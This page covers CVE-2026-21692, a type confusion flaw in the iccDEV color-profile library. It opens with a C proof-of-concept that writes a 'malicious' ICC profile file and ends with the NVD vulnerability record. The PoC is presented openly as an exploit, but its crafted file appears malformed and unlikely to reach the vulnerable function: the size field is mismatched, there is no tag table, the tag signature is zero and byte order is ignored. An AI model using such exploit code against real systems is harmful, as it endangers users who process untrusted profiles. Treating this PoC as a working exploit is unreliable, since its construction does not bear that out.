CVE-2026-21692

// PoC for CVE-2026-21692 - Type Confusion in iccDEV ToXmlCurve() // This PoC generates a malicious ICC profile that triggers type confusion #include <stdio.h> #include <stdlib.h> #include <string.h> // ICC Profile Header structure typedef struct { uint32_t size; uint32_t cmm_type; uint32_t version; uint32_t device_class; uint32_t color_space; uint32_t pcs; uint32_t creation_date[3]; uint32_t profile_file_sig; uint32_t primary_platform; uint32_t profile_flags; uint32_t device_manufacturer; uint32_t device_model; uint64_t device_attributes; uint32_t rendering_intent; uint32_t pcs_illuminant_XYZ[3]; uint32_t creator_signature; uint32_t profile_id[4]; } ICC_Header; // Malicious tag data to trigger type confusion unsigned char malicious_tag_data[] = { 0x00, 0x00, 0x00, 0x00, // Curve type signature 0x00, 0x01, // Count of entries 0xFF, 0xFF // Curve data }; void create_malicious_icc_profile(const char* filename) { FILE* fp = fopen(filename, "wb"); if (!fp) { printf("Failed to create file\n"); return; } // Write ICC profile header with crafted values ICC_Header header = {0}; header.size = 128; header.profile_file_sig = 0x61637370; // 'acsp' header.color_space = 0x52474220; // 'RGB ' header.pcs = 0x58595A20; // 'XYZ ' fwrite(&header, sizeof(ICC_Header), 1, fp); // Write malicious curve tag fwrite(malicious_tag_data, sizeof(malicious_tag_data), 1, fp); fclose(fp); printf("Malicious ICC profile created: %s\n", filename); } int main() { create_malicious_icc_profile("malicious_profile.icc"); printf("To trigger CVE-2026-21692, process this ICC profile with vulnerable iccDEV library\n"); return 0; }

{"cve": {"id": "CVE-2026-21692", "sourceIdentifier": "[email protected]", "published": "2026-01-07T22:15:45.677", "lastModified": "2026-01-12T18:27:18.457", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "iccDEV provides a set of libraries and tools that allow for the interaction, manipulation, and application of International Color Consortium (ICC) color management profiles. Versions prior to 2.3.1.2 have a Type Confusion vulnerability in `ToXmlCurve()` at `IccXML/IccLibXML/IccMpeXml.cpp`. This vulnerability affects users of the iccDEV library who process ICC color profiles. Version 2.3.1.2 contains a patch. No known workarounds are available."}, {"lang": "es", "value": "iccDEV proporciona un conjunto de bibliotecas y herramientas que permiten la interacción, manipulación y aplicación de perfiles de gestión de color del Consorcio Internacional del Color (ICC). Las versiones anteriores a la 2.3.1.2 tienen una vulnerabilidad de confusión de tipos en 'ToXmlCurve()' en 'IccXML/IccLibXML/IccMpeXml.cpp'. Esta vulnerabilidad afecta a los usuarios de la biblioteca iccDEV que procesan perfiles de color ICC. La versión 2.3.1.2 contiene un parche. No hay soluciones alternativas conocidas disponibles."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-20"}, {"lang": "en", "value": "CWE-588"}, {"lang": "en", "value": "CWE-704"}, {"lang": "en", "value": "CWE-843"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:color:iccdev:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.3.1.2", "matchCriteriaId": "D34CF745-E75A-4F1C-AD7B-9AC1A2E9F680"}]}]}], "references": [{"url": "https://github.com/InternationalColorConsortium/iccDEV/issues/388", "source": "[email protected]", "tags": ["Issue Tracking", "Exploit", "Vendor Advisory"]}, {"url": "https://github.com/InternationalColorConsortium/iccDEV/pull/432", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://github.com/InternationalColorConsortium/iccDEV/security/advisories/GHSA-7662-mf46-wr88", "source": "[email protected]", "tags": ["Patch", "Vendor Advisory"]}]}}